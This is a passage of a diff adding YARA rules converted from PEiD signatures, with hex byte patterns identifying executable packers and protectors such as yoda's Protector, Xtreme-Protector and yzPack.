+        $a = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03510_xPEP_0_3x____xIkUg_
+{
+    meta:
+        description = "[xPEP 0.3x -> xIkUg]"
+        ep_only = "true"
+    strings:
+        $a = {55 53 56 51 52 57 E8 16 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03511_Xtreme_Protector_1_06_
+{
+    meta:
+        description = "[Xtreme-Protector 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+    condition:
+        $a
+}
+
+rule PEiD_03512_Xtreme_Protector_v1_05_
+{
+    meta:
+        description = "[Xtreme-Protector v1.05]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03513_Xtreme_Protector_v1_06_
+{
+    meta:
+        description = "[Xtreme-Protector v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03514_XWD_graphics_format_
+{
+    meta:
+        description = "[XWD graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 71 00 00 00 07 00 00 00 02 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03515_XXPack_0_1____bagie_
+{
+    meta:
+        description = "[XXPack 0.1 -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03516_y0da_s_Crypter_v1_0_
+{
+    meta:
+        description = "[y0da's Crypter v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03517_y0da_s_Crypter_v1_1_
+{
+    meta:
+        description = "[y0da's Crypter v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03518_y0da_s_Crypter_v1_x___Modified_
+{
+    meta:
+        description = "[y0da's Crypter v1.x / Modified]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03519_yC_1_3_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yC 1.3 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+
+rule PEiD_03520_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03521_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03522_yoda_s_Protector_1_0_beta____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0 beta -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03523_yoda_s_Protector_1_01____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.01 -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03524_yoda_s_Protector_1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_03525_yoda_s_Protector_1_02___1_03____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03526_yoda_s_Protector_1_02____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03527_yoda_s_Protector_1_03_1____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.03.1 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03528_yoda_s_Protector_1_0b____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03529_yoda_s_Protector_1_0b____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03530_yoda_s_Protector_1_0x____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0x -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03531_yoda_s_Protector_V1_01____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.01 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03532_yoda_s_Protector_v1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03533_yoda_s_Protector_V1_02____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.02 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03534_yoda_s_Protector_V1_03_1____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.1 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03535_yoda_s_Protector_v1_03_2___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03536_yoda_s_Protector_V1_03_2____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.2 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03537_Yoda_s_Protector_v1_03_2_Beta2____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03538_yoda_s_Protector_v1_03_2_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03539_yoda_s_Protector_v1_03_3___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03540_yoda_s_Protector_V1_03_3____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.3 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03541_yoda_s_Protector_V1_0b____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.0b -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03542_yP_1_0b_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yP 1.0b by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03543_yzPack_1_0____UsAr_
+{
+    meta:
+        description = "[yzPack 1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03544_YZPack_1_2____UsAr_
+{
+    meta:
+        description = "[YZPack 1.2 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03545_yzpack_V1_1____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.1 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03546_yzpack_V1_12____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03547_yzpack_V1_12____UsAr_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03548_yzpack_V2_0____UsAr___Sign_by_fly_
+{
+    meta:
